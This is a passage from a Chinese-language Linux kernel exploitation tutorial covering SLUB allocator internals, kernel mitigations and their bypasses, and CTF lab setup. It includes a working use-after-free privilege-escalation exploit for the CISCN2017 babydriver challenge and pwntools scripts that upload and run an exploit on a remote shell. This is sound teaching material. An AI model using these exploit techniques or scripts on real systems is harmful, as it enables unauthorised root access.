s->allocflags |= GFP_DMA;
if (s->flags & SLAB_RECLAIM_ACCOUNT)
s->allocflags |= __GFP_RECLAIMABLE;
/*
* Determine the number of objects per slab
*/
s->oo = oo_make(order, size);
s->min = oo_make(get_order(size), size);
if (oo_objects(s->oo) > oo_objects(s->max))
s->max = s->oo;
return !!oo_objects(s->oo);
}
static int kmem_cache_open(struct kmem_cache *s, slab_flags_t flags)
{
s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor);
#ifdef CONFIG_SLAB_FREELIST_HARDENED
s->random = get_random_long();
#endif
if (!calculate_sizes(s, -1))
goto error;
if (disable_higher_order_debug) {
/*
* Disable debugging flags that store metadata if the min slab
* order increased.
*/
if (get_order(s->size) > get_order(s->object_size)) {
s->flags &= ~DEBUG_METADATA_FLAGS;
s->offset = 0;
if (!calculate_sizes(s, -1))
goto error;
}
}
#if defined(CONFIG_HAVE_CMPXCHG_DOUBLE) && \
defined(CONFIG_HAVE_ALIGNED_STRUCT_PAGE)
if (system_has_cmpxchg_double() && (s->flags & SLAB_NO_CMPXCHG) == 0)
/* Enable fast mode */
s->flags |= __CMPXCHG_DOUBLE;
#endif
/*
* The larger the object size is, the more pages we want on the partial
* list to avoid pounding the page allocator excessively.
*/
set_min_partial(s, ilog2(s->size) / 2);
set_cpu_partial(s);
#ifdef CONFIG_NUMA
s->remote_node_defrag_ratio = 1000;
#endif
/* Initialize the pre-computed randomized freelist if slab is up */
if (slab_state >= UP) {
if (init_cache_random_seq(s))
goto error;
}
if (!init_kmem_cache_nodes(s))
goto error;
if (alloc_kmem_cache_cpus(s))
return 0;
free_kmem_cache_nodes(s);
error:
if (flags & SLAB_PANIC)
panic("Cannot create slab %s size=%u realsize=%u order=%u offset=%u flags=%lx\n",
s->name, s->size, s->size,
oo_order(s->oo), s->offset, (unsigned long)flags);
return -EINVAL;
}
slub 分配
-
kmem_cache 刚刚建立,还没有任何对象可供分配,此时只能从伙伴系统分配一个 slab ,如下图所示。
-
如果正在使用的 slab 有 free obj,那么就直接分配即可,这种是最简单快捷的。如下图所示。
-
随着正在使用的 slab 中 obj 的一个个分配出去,最终会无 obj 可分配,此时 per cpu partial 链表中有可用 slab 用于分配,那么就会从 per cpu partial 链表中取下一个 slab 用于分配 obj。如下图所示。
-
随着正在使用的 slab 中 obj 的一个个分配出去,最终会无 obj 可分配,此时 per cpu partial 链表也为空,此时发现 per node partial 链表中有可用 slab 用于分配,那么就会从 per node partial 链表中取下一个 slab 用于分配 obj。如下图所示。
slub 释放
- 假设下图左边的情况下释放 obj,如果满足 kmem_cache_node 的 nr_partial 大于 kmem_cache 的 min_partial 的话,释放情况如下图所示。
- 假设下图左边的情况下释放 obj,如果不满足 kmem_cache_node 的 nr_partial 大于 kmem_cache 的 min_partial 的话,释放情况如下图所示。
- 假设下图从 full slab 释放 obj 的话,如果满足 per cpu partial 管理的所有 slab 的 free object 数量大于 kmem_cache 的 cpu_partial 成员的话的话,将 per cpu partial 链表管理的所有 slab 移动到 per node partial 链表管理,释放情况如下图所示。
- 假设下图从 full slab 释放 obj 的话,如果不满足 per cpu partial 管理的所有 slab 的 free object 数量大于 kmem_cache 的 cpu_partial 成员的话的话,释放情况如下图所示。
内核堆利用与绑核
slub allocator 会优先从当前核心的 kmem_cache_cpu
中进行内存分配,在多核架构下存在多个 kmem_cache_cpu
,由于进程调度算法会保持核心间的负载均衡,因此我们的 exp 进程可能会被在不同的核心上运行,这也就导致了利用过程中 kernel object 的分配有可能会来自不同的 kmem_cache_cpu
,这使得利用模型变得复杂,也降低了漏洞利用的成功率。
因此为了保证漏洞利用的稳定,我们需要将我们的进程绑定到特定的某个 CPU 核心上,这样 slub allocator 的模型对我们而言便简化成了 kmem_cache_node + kmem_cache_cpu
,我们也能更加方便地进行漏洞利用
#define _GNU_SOURCE
#include <sched.h>
int randint(int min, int max) {
return min + (rand() % (max - min));
}
void bind_core(bool fixed, bool thread) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
if (thread) {
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
} else {
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
}
通用 kmalloc flag
GFP_KERNEL
与 GFP_KERNEL_ACCOUNT
是内核中最为常见与通用的分配 flag,常规情况下他们的分配都来自同一个 kmem_cache
——即通用的 kmalloc-xx
这两种 flag 的区别主要在于 GFP_KERNEL_ACCOUNT
比 GFP_KERNEL
多了一个属性——表示该对象与来自用户空间的数据相关联,因此我们可以看到诸如 msg_msg
、pipe_buffer
、sk_buff的数据包
的分配使用的都是 GFP_KERNEL_ACCOUNT
,而 ldt_struct
、packet_socket
等与用户空间数据没有直接关联的结构体则使用 GFP_KERNEL
在5.9 版本之前GFP_KERNEL
与 GFP_KERNEL_ACCOUNT
存在隔离机制,在 这个 commit 中取消了隔离机制,自内核版本 5.14 起,在 这个 commit 当中又重新引入:
- 对于开启了
CONFIG_MEMCG_KMEM
编译选项的 kernel 而言(通常都是默认开启),其会为使用GFP_KERNEL_ACCOUNT
进行分配的通用对象创建一组独立的kmem_cache
——名为kmalloc-cg-\*
,从而导致使用这两种 flag 的 object 之间的隔离:
slab alias
slab alias 机制是一种对同等/相近大小 object 的 kmem_cache
进行复用的一种机制:当一个 kmem_cache
在创建时,若已经存在能分配相等/近似大小的 object 的 kmem_cache
,则不会创建新的 kmem_cache,而是为原有的 kmem_cache 起一个 alias,作为“新的” kmem_cache 返回。
例如 cred_jar
是专门用以分配 cred
结构体的 kmem_cache
,在 Linux 4.4 之前的版本中,其为 kmalloc-192
的 alias,即 cred 结构体与其他的 192 大小的 object 都会从同一个 kmem_cache
——kmalloc-192
中分配。
对于初始化时设置了 SLAB_ACCOUNT
这一 flag 的 kmem_cache
而言,则会新建一个新的 kmem_cache
而非为原有的建立 alias,例如在新版的内核当中 cred_jar
与 kmalloc-192
便是两个独立的 kmem_cache
,彼此之间互不干扰。
/* Account to memcg */
#ifdef CONFIG_MEMCG_KMEM
# define SLAB_ACCOUNT ((slab_flags_t __force)0x04000000U)
#else
# define SLAB_ACCOUNT 0
#endif
/*
* initialise the credentials stuff
*/
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}
内核保护机制
空间隔离相关
SMEP
管理模式执行保护(Superivisor Mode Access Protection),禁止内核执行用户空间代码。当处理器处于ring 0
模式,执行用户空间的代码会触发页错误。Linux
下叫做PXN
。
SMAP
管理模式访问保护(Supervisor Mode Access Prevention),禁止内核访问用户地址空间,类似于smep
。当处理器处于ring 0
模式,访问用户空间的数据会触发页错误。ARM
下叫做PAN
(Privileged Access Never)
- 对于没有
SMAP/SMEP
的情况下把内核指针重定向到用户空间的利用方式称为ret2usr
。 - 上面两种保护的绕过方法:
physmap
是内核管理的一块非常大的连续的虚拟地址空间,为了提高效率,该地址空间和内存地址直接映射。内存地址相对physmap
要小的多,导致了任何一个内存地址可以在physmap
中找到对应的虚拟内存地址。我们知道用户空间的虚拟内存也会映射到内存地址,这就存在了连续虚拟内存地址映射到了同一个内存地址的情况。也就是说,我们在用户空间里创建的数据,代码就很有可能映射到physmap
空间。那么在用户空间用mmap()
将提权代码映射到内存,然后再在内核空间里找到其对应的副本,修改IP
调到副本执行就可以了。因为physmap
本身就在内核空间里,这种漏洞利用方式叫做ret2dir
。Intel
下系统根据CR4
控制寄存器的第20
位标识是否开启SMEP
保护,若能够通过kernel ROP
改变CR4
寄存器的值便能够关闭SMEP
保护,完成SMEP-bypass
,接下来就可以重新ret2usr
。
- 关闭
SMEP
方法:修改/etc/default/grub
文件中的GRUB_CMDLINE_LINUX=
,加上nosmep/nosmap/nokaslr
,然后update-grub
就可以。
KPTI
KPTI
(Kernel PageTable Isolation),内核页表隔离,进程页表隔离。进程地址空间被分成了内核地址空间和用户地址空间,内核地址都是共享的,用户空间只能单独使用。为了防止用户程序获取内核数据,可以让用户地址空间和内核地址空间使用两组页表集。Windows
称为KVA Shadow
。
由于有KPTI
保护,即使关闭了smep
和smap
,也不能执行用户区间的代码
,只能读,原因如下:
不隔离不意味着完全相同,填充内核态页表项时,KPTI
会给页表项加上 _PAGE_NX
标志,以阻止执行内核态页表所映射用户地址空间的代码。在 KAISER patch
里把这一步骤叫 毒化(poison
)。
检查方式:查看 /sys/devices/system/cpu/vulnerabilities/*
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
注意,KPTI 只是不能执行用户空间代码,不代表不能访问用户空间数据,如果关闭 SMAP 即使开启 KPTI 也是可以访问用户数据的。
在启动脚本中设置 -append "... kpti=1 ..."
(或 pti=on
)即可开启 KPTI ,另外还需要设置 -cpu kvm64
。
地址相关
KASLR
内核地址空间布局随机化(Kernel Address Space Layout Randomization),开启后,允许kernel image
加载到VMALLOC
区域的任何位置。
间在未开启KASLR保护机制时,内核代码段的基址为 0xffffffff81000000 ,direct mapping area 的基址为 0xffff888000000000 。
FG_KASLR
FG-KASLR (Function Granular Kernel Address Space Layout Randomization):细粒度的kaslr,函数级别上的 KASLR 优化。
注意,该保护只是在代码段打乱顺序,在数据段偏移不变,例如 commit_creds
函数的偏移改变但是 init_cred
的偏移不变。
MMAP_MIN_ADDR
内核空间和用户空间共享虚拟内存地址,因此需要防止用户空间 mmap 的内存从 0 开始,从而缓解空指针引用攻击。windows 系统从 win8 开始禁止在零页分配内存。从 linux 内核 2.6.22 开始可以使用 sysctl 设置 mmap_min_addr
来实现这一保护。
信息相关
Dmesg Restrictions
通过设置/proc/sys/kernel/dmesg_restrict
为1,可以将dmesg
输出的信息视为敏感信息(默认为0)
Kernel Address Display Restriction
内核提供控制变量 /proc/sys/kernel/kptr_restrict
用于控制内核的一些输出打印。
kptr_restrict == 2
:内核将符号地址打印为全 0 , root 和普通用户都没有权限.kptr_restrict == 1
: root 用户有权限读取,普通用户没有权限.kptr_restrict == 0
: root 和普通用户都可以读取.
/proc/kallsyms
的内容需要root
权限才能查看,如果以非root
用户权限查看将显示地址为0
kallsyms
抽取了内核用到的所有函数地址(全局的,静态的)和非栈数据变量地址,生成一个数据块,作为只读数据链接进 kernel image
。
要在内核中启用 kallsyms
功能,须设置 CONFIG_KALLSYMS
选项为 y
,如果要在 kallsyms
中包含全部符号信息,须设置 CONFIG_KALLSYMS_ALL
为 y
。
kallsyms
表位于 /proc/kallsyms
,kernel
中的 mod_tree
处存放着各个模块加载的地址.
sudo sysctl -w kernel.kptr_restrict=0
# 设置权限
cat /proc/kallsyms
# 列出所有内核符号
grep mod_tree /proc/kallsyms
# 列出各个模块加载的地址
cat /proc/modules
# 列出系统中已经加载的模块及其地址
grep _text /proc/kallsyms
# vmlinux加载地址
数据相关
HARDENED_USERCOPY
hardened usercopy 是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制,主要检查拷贝过程中对内核空间中数据的读写是否会越界:
读取的数据长度是否超出源 object 范围
写入的数据长度是否超出目的 object 范围
不过这种保护 不适用于内核空间内的数据拷贝 ,这也是目前主流的绕过手段
这一保护被用于在使用 copy_to_user()
与 copy_from_user()
等数据交换 API 时用 __check_object_size
检查是否越界。
#ifdef CONFIG_HARDENED_USERCOPY
/*
* Rejects incorrectly sized objects and objects that are to be copied
* to/from userspace but do not fall entirely within the containing slab
* cache's usercopy region.
*
* Returns NULL if check passes, otherwise const char * to name of cache
* to indicate an error.
*/
void __check_heap_object(const void *ptr, unsigned long n, struct page *page,
bool to_user)
{
struct kmem_cache *s;
unsigned int offset;
size_t object_size;
ptr = kasan_reset_tag(ptr);
/* Find object and usable object size. */
s = page->slab_cache;
/* Reject impossible pointers. */
if (ptr < page_address(page))
usercopy_abort("SLUB object not in SLUB page?!", NULL,
to_user, 0, n);
/* Find offset within object. */
offset = (ptr - page_address(page)) % s->size;
/* Adjust for redzone and reject if within the redzone. */
if (kmem_cache_debug(s) && s->flags & SLAB_RED_ZONE) {
if (offset < s->red_left_pad)
usercopy_abort("SLUB object in left red zone",
s->name, to_user, offset, n);
offset -= s->red_left_pad;
}
/* Allow address range falling entirely within usercopy region. */
if (offset >= s->useroffset &&
offset - s->useroffset <= s->usersize &&
n <= s->useroffset - offset + s->usersize)
return;
/*
* If the copy is still within the allocated object, produce
* a warning instead of rejecting the copy. This is intended
* to be a temporary method to find any missing usercopy
* whitelists.
*/
object_size = slab_ksize(s);
if (usercopy_fallback &&
offset <= object_size && n <= object_size - offset) {
usercopy_warn("SLUB object", s->name, to_user, offset, n);
return;
}
usercopy_abort("SLUB object", s->name, to_user, offset, n);
}
#endif /* CONFIG_HARDENED_USERCOPY */
static inline void check_heap_object(const void *ptr, unsigned long n,
bool to_user)
{
struct page *page;
...
page = virt_to_head_page(ptr);
if (PageSlab(page)) {
/* Check slab allocator for flags and size. */
__check_heap_object(ptr, n, page, to_user);
}
...
}
/*
* Checks if a given pointer and length is contained by the current
* stack frame (if possible).
*
* Returns:
* NOT_STACK: not at all on the stack
* GOOD_FRAME: fully within a valid stack frame
* GOOD_STACK: fully on the stack (when can't do frame-checking)
* BAD_STACK: error condition (invalid stack position or bad stack frame)
*/
static noinline int check_stack_object(const void *obj, unsigned long len)
{
const void * const stack = task_stack_page(current);
const void * const stackend = stack + THREAD_SIZE;
int ret;
/* Object is not on the stack at all. */
if (obj + len <= stack || stackend <= obj)
return NOT_STACK;
/*
* Reject: object partially overlaps the stack (passing the
* the check above means at least one end is within the stack,
* so if this check fails, the other end is outside the stack).
*/
if (obj < stack || stackend < obj + len)
return BAD_STACK;
/* Check if object is safely within a valid frame. */
ret = arch_within_stack_frames(stack, stackend, obj, len);
if (ret)
return ret;
return GOOD_STACK;
}
/* Is this address range in the kernel text area? */
static inline void check_kernel_text_object(const unsigned long ptr,
unsigned long n, bool to_user)
{
unsigned long textlow = (unsigned long)_stext;
unsigned long texthigh = (unsigned long)_etext;
unsigned long textlow_linear, texthigh_linear;
if (overlaps(ptr, n, textlow, texthigh))
usercopy_abort("kernel text", NULL, to_user, ptr - textlow, n);
/*
* Some architectures have virtual memory mappings with a secondary
* mapping of the kernel text, i.e. there is more than one virtual
* kernel address that points to the kernel image. It is usually
* when there is a separate linear physical memory mapping, in that
* __pa() is not just the reverse of __va(). This can be detected
* and checked:
*/
textlow_linear = (unsigned long)lm_alias(textlow);
/* No different mapping: we're done. */
if (textlow_linear == textlow)
return;
/* Check the secondary mapping... */
texthigh_linear = (unsigned long)lm_alias(texthigh);
if (overlaps(ptr, n, textlow_linear, texthigh_linear))
usercopy_abort("linear kernel text", NULL, to_user,
ptr - textlow_linear, n);
}
void __check_object_size(const void *ptr, unsigned long n, bool to_user)
{
check_bogus_address
check_stack_object
...
/* Check for bad heap object. */
check_heap_object(ptr, n, to_user);
...
}
/*
* Validates that the given object is:
* - not bogus address
* - fully contained by stack (or stack frame, when available)
* - fully within SLAB object (or object whitelist area, when available)
* - not in kernel text
*/
void __check_object_size(const void *ptr, unsigned long n, bool to_user)
{
if (static_branch_unlikely(&bypass_usercopy_checks))
return;
/* Skip all tests if size is zero. */
if (!n)
return;
/* Check for invalid addresses. */
check_bogus_address((const unsigned long)ptr, n, to_user);
/* Check for bad stack object. */
switch (check_stack_object(ptr, n)) {
case NOT_STACK:
/* Object is not touching the current process stack. */
break;
case GOOD_FRAME:
case GOOD_STACK:
/*
* Object is either in the correct frame (when it
* is possible to check) or just generally on the
* process stack (when frame checking not available).
*/
return;
default:
usercopy_abort("process stack", NULL, to_user, 0, n);
}
/* Check for bad heap object. */
check_heap_object(ptr, n, to_user);
/* Check for object in kernel to avoid text exposure. */
check_kernel_text_object((const unsigned long)ptr, n, to_user);
}
#ifdef CONFIG_HARDENED_USERCOPY
extern void __check_object_size(const void *ptr, unsigned long n,
bool to_user);
static __always_inline void check_object_size(const void *ptr, unsigned long n,
bool to_user)
{
if (!__builtin_constant_p(n))
__check_object_size(ptr, n, to_user);
}
#else
static inline void check_object_size(const void *ptr, unsigned long n,
bool to_user)
{ }
#endif /* CONFIG_HARDENED_USERCOPY */
static __always_inline bool
check_copy_size(const void *addr, size_t bytes, bool is_source)
{
int sz = __compiletime_object_size(addr);
if (unlikely(sz >= 0 && sz < bytes)) {
if (!__builtin_constant_p(bytes))
copy_overflow(sz, bytes);
else if (is_source)
__bad_copy_from();
else
__bad_copy_to();
return false;
}
check_object_size(addr, bytes, is_source);
return true;
}
static __always_inline unsigned long __must_check
copy_to_user(void __user *to, const void *from, unsigned long n)
{
if (likely(check_copy_size(from, n, true)))
n = _copy_to_user(to, from, n);
return n;
}
STATIC_USERMODEHELPER
禁掉了对于 modprobe_path
和 core_pattern
的利用(只读区域)
栈相关
STACK PROTECTOR
类似于用户态程序的canary,通常又被称作是 stack cookie,用以检测是否发生内核堆栈溢出,若是发生内核堆栈溢出则会产生 kernel panic
。
开启: 在编译内核时,我们可以设置 CONFIG_CC_STACKPROTECTOR 选项,来开启该保护。
关闭: 我们需要重新编译内核,并关闭编译选项才可以关闭 Canary 保护。
内核中的canary
的值通常取自gs
段寄存器某个固定偏移处的值,可以直接绕过。
堆相关
SLAB_FREELIST_HARDENED
CONFIG_SLAB_FREELIST_HARDENED=y
编译选项开启 Hardened freelist 保护。
在这个配置下,kmem_cache
增加了一个变量 random
。在 mm/slub.c
文件, kmem_cache_open
的时候给 random
字段一个随机数。
#ifdef CONFIG_SLAB_FREELIST_HARDENED
unsigned long random;
#endif
static int kmem_cache_open(struct kmem_cache *s, slab_flags_t flags)
{
s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor);
#ifdef CONFIG_SLAB_FREELIST_HARDENED
s->random = get_random_long();
#endif
set_freepointer
函数中加了一个 BUG_ON
的检查,这里是检查 double free 的,当前 free 的 object 的内存地址和 freelist 指向的第一个 object 的地址不能一样,这和 glibc 类似。
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
unsigned long freeptr_addr = (unsigned long)object + s->offset;
#ifdef CONFIG_SLAB_FREELIST_HARDENED
BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif
*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
}
接着是 freelist_ptr
,它会返回当前 object 的下一个 free object 的地址, 加上 hardened 之后会和之前初始化的 random 值做异或。
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
return (void *)((unsigned long)ptr ^ s->random ^
(unsigned long)kasan_reset_tag((void *)ptr_addr));
#else
return ptr;
#endif
}
SLAB_FREELIST_RANDOM
CONFIG_SLAB_FREELIST_RANDOM=y
编译选项开启 Random freelist 保护。
这种保护主要发生在 slub allocator 向 buddy system 申请到页框之后的处理过程中,对于未开启这种保护的一张完整的 slub,其上的 object 的连接顺序是线性连续的,但在开启了这种保护之后其上的 object 之间的连接顺序是随机的,这让攻击者无法直接预测下一个分配的 object 的地址
需要注意的是这种保护发生在slub allocator 刚从 buddy system 拿到新 slub 的时候,运行时 freelist 的构成仍遵循 LIFO
INIT_ON_ALLOC_DEFAULT_ON
当编译内核时开启了这个选项时,在内核进行“堆内存”分配时(包括 buddy system 和 slab allocator),会将被分配的内存上的内容进行清零,从而防止了利用未初始化内存进行数据泄露的情况。
环境搭建
这里以 CISCN2017 - babydriver 为例讲解一下 kernel pwn 环境搭建。
基础概念
将下载好附件解压后发现三个文件:
boot.sh
:启动脚本bzImage
:内核镜像rootfs.cpio
:文件系统
启动脚本
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null -m 64M \
--nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep
在用 qemu 启动内核时,常用的选项如下
- -m, 指定 RAM 大小,默认 384M
- -kernel,指定内核镜像文件 bzImage 路径
- -initrd,设置内核启动的内存文件系统
- -smp [cpus=]n[,cores=cores][,threads=threads][,dies=dies][,sockets=sockets][,maxcpus=maxcpus],指定使用到的核数。
- -cpu,指定指定要模拟的处理器架构,可以同时开启一些保护,如
- +smap,开启 smap 保护
- +smep,开启 smep 保护
- -nographic,表示不需要图形界面
- -monitor,对 qemu 提供的控制台进行重定向,如果没有设置的话,可以直接进入控制台。
-monitor /dev/null
后Ctrl + c
可以直接退出 qemu 。 - -append,附加选项
- nokaslr 关闭随机偏移
- pti=on/off 开启/关闭 KPTI
- console=ttyS0,和 nographic 一起使用,启动的界面就变成了当前终端。
安装 qemu 后运行 boot.sh
即可启动 linux 系统。
内核镜像
- vmlinux:原始内核文件
- 在当前目录下提取到
vmlinux
,为编译出来的原始内核文件。
- 在当前目录下提取到
- bzImage:压缩内核镜像
- 在当前目录下的
arch/x86/boot/
目录下提取到bzImage
,为压缩后的内核文件,适用于大内核。
- 在当前目录下的
- zImage && bzImage
- zImage 是 vmlinux 经过gzip压缩后的文件。
- bzImage 中的 bz 表示“big zImage”。bzImage 不是用 bzip2 压缩,而是要偏移到一个位置,使用 gzip 压缩。
- 两者的不同之处在于,zImage 解压缩内核到低端内存(第一个 640K),bzImage 解压缩内核到高端内存(1M 以上)。如果内核比较小,那么采用 zImage 或 bzImage 都行,如果比较大应该用 bzImage 。
文件系统
启动的文件系统,可以通过 cpio
进行解压(cpio -idmv < rootfs.cpio
),不过有的题目可能会把一些其它压缩格式的文件系统后缀改成 cpio
(例如这道 babydriver 例题就是??)所以最好直接右键 + Extract Here
解压
有时右键解压的文件系统会导致内核启动不了,目前用 binwalk -e
解压的是没问题的 。
将 rootfs
解压后可以看到在其根目录下有 init
文件,内容如下:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
init
是 linux 启动时的初始化文件,主要做一些环境配置。通过分析 init
文件可以获取一些重要信息,另外可以通过修改 init
文件增加调试分析的便捷性。
- 从
init
脚本中得知 需要分析的驱动文件的所在路径为/lib/modules/4.4.72/babydriver.ko
,另外该驱动可能对应设备/dev/babydev
,具体是否存在这种对应关系还需要分析babydriver.ko
中是否有注册babydev
设备的操作。 setsid cttyhack setuidgid 1000 sh
这条命令决定以非 root 权限启动命令行,如果想要以 root 权限启动命令行需要将 1000 改为 0 。- 有的题目可能存在
poweroff -d 120 -f &
命令用来定时关机,在本地调试的时候最好注释掉。
打包文件系统
本地调试的时候需要多次修改 exp
以及 init
,因此为了方便最好还是选择打包文件系统,而不是上传文件。注意这里的 rootfs
是手动从 rootfs.cpio
中解压出来的。
#!/bin/sh
cp -r rootfs rootfs_tmp
#musl-gcc -static -masm=intel -pthread exp.c -o exp
gcc -static -masm=intel -pthread exp.c -o exp
cp exp rootfs_tmp/
cd rootfs_tmp || exit
find . | cpio -o -H newc >../rootfs.cpio
cd ..
sudo rm -rf rootfs_tmp
其中 exp.c
文件内容如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
int main() {
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);
// 释放 fd1
close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if (pid < 0) {
puts("[*] fork error!");
exit(0);
} else if (pid == 0) {
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);
if (getuid() == 0) {
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
} else {
wait(NULL);
}
close(fd2);
return 0;
}
如果 gcc
编译的 exp
过大可以考虑使用 musl-gcc
进行编译,不过例如 userfault_fd
的相关功能 musl
没有,并不能完全替代 gcc 。
musl-gcc
的具体安装方式可以参考这篇文章的环境搭建里面的编译脚本,编译完成之后 musl-gcc
就在安装目录下的 bin
目录下,添加环境变量即可使用。
另外题目附件中没有 flag 文件,可以手动在 rootfs
目录下创建一个 flag
文件用于测试。
运行 pack.sh
和 boot.sh
可以看到 exp
已经打包到文件系统中,运行 exp
成功提权。
文件远程传输方式
目前来说比较通用的办法便是将 exploit 进行 base64 编码后传输
from pwn import *
import base64
#context.log_level = "debug"
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())
p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
p.sendline()
p.recvuntil("/ $")
count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))
for i in range(count):
p.recvuntil("/ $")
p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
break
p.interactive()
from pwn import *
import time, os
#context.log_level = "debug"
p = process('./boot.sh')#remote("127.0.0.1", 5555)
os.system("tar -czvf exp.tar.gz ./exploit")
os.system("base64 exp.tar.gz > b64_exp")
f = open("./b64_exp", "r")
p.sendline()
p.recvuntil("/ $")
p.sendline("echo '' > b64_exp;")
count = 1
while True:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
p.sendline(cmd) # send lines
#time.sleep(0.02)
#p.recv()
p.recvuntil("/ $")
count += 1
f.close()
p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exploit;")
p.sendline("./exploit")
p.interactive()
获取 vmlinux
由于 bzImage 是压缩过的内核镜像,因此需要获取未经压缩的 vmlinux
镜像用于提供调试符号,以及查找 gadget 和关键结构偏移。
下面提供几个获取 vmlinux 的方法。
编译内核
注意,即使题目提供了 config 文件,编译出的 vmlinux 中各结构的偏移也不一定与题目提供的 bzImage 相同。编译出的 vmlinux 只是在计算结构体中成员偏移起参考作用,gadget 等涉及在内核中偏移的还是在 vmlinux-to-elf 解压的 vmlinux 中找。
编译内核的好处是可以配置编译文件,并且可以编译出带调试符号的文件,gdb 调试的时候可以查看源码。
为了方便调试,需要从这个网站下载与题目所给内核版本相同的内核源码并编译出带调试符号的内核文件。
首先查看题目所给内核版本
下载对应版本内核并解压
查看题目所给内核编译时使用的 gcc 版本
由于编译该内核的所需的 gcc-5 已经无法在 ubuntu 18.04 及以上版本系统中下载安装,因此编译该内核需要再 ubuntu 16.04 中进行。 下面的图中的操作之所以是在高版本 ubuntu 中进行是因为当时是可以的。
输入命令,查看 gcc-5 可选的版本
apt-cache policy gcc-5
找到了与编译题目内核的 gcc 比较接近的版本(这里我已经安装过了)
安装
sudo apt-get install gcc-5=5.4.0-6ubuntu1~16.04.12
更新到 update-alternatives 上(参考编译 ollvm 时 gcc 版本的设置)
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-5 5
切换到 gcc-5
之后编辑配置文件,在 linux-4.4.72 目录下输入
make menuconfig
保证勾选如下配置(默认都是勾选了的):
- Kernel hacking —> Kernel debugging
- Kernel hacking —> Compile-time checks and compiler options —> Compile the kernel with debug info
- Kernel hacking —> Generic Kernel Debugging Instruments –> KGDB: kernel debugger
- kernel hacking —> Compile the kernel with frame pointers
一般来说不需要有什么改动,直接保存退出即可。
设置保存在 .config
文件中。
为了防止后面编译报下面这个错
make[1]: *** No rule to make target 'debian/canonical-certs.pem', needed by 'certs/x509_certificate_list'. Stop.
make: *** [Makefile:1868: certs] Error 2
需要编辑 .config
文件,直接把下面这个字符串删掉。
之后编译可能还会缺少一些依赖,为了尽可能一次成功,先把下面这些装一下。
sudo apt install flex
sudo apt install bison
sudo apt install libelf-dev
sudo apt install libssl-dev
sudo apt install dwarves
sudo apt install zstd
之后运行下面这条命令进行编译
make bzImage -j4
最后生成的 vmlinux 。
vmlinux-to-elf
此工具允许从 vmlinux/vmlinuz/bzImage/zImage 内核映像获取完全可分析的 .ELF 文件,其中包含恢复的函数和变量符号。
安装:
sudo apt install python3-pip
sudo pip3 install --upgrade lz4 zstandard git+https://github.com/clubby789/python-lzo@b4e39df
sudo pip3 install --upgrade git+https://github.com/marin-m/vmlinux-to-elf
使用方法:
vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>
与后面两个方法相比,这个方法获取的 vmlinux 带调试符号,不过结构体相关的调试符号只有编译内核可以获得。
下载镜像
有的内核题可以直接下载下载现有镜像
使用如下命令列出可下载内核镜像
sudo apt search linux-image-
找到对应版本
sudo apt download linux-image-unsigned-5.8.0-59-generic
下载下来是一个deb
文件,解压有
dpkg -X ./linux-image-unsigned-5.8.0-59-generic_5.8.0-59.66~20.04.1_amd64.deb extract
文件如下
$ tree
.
├── boot
│ └── vmlinuz-5.8.0-59-generic
└── usr
├── lib
│ └── linux
│ └── triggers
└── share
└── doc
└── linux-image-unsigned-5.8.0-59-generic
├── changelog.Debian.gz
└── copyright
8 directories, 3 files
其中 vmlinuz-5.8.0-59-generic
是压缩版的镜像,需要解压出 vmlinux 。
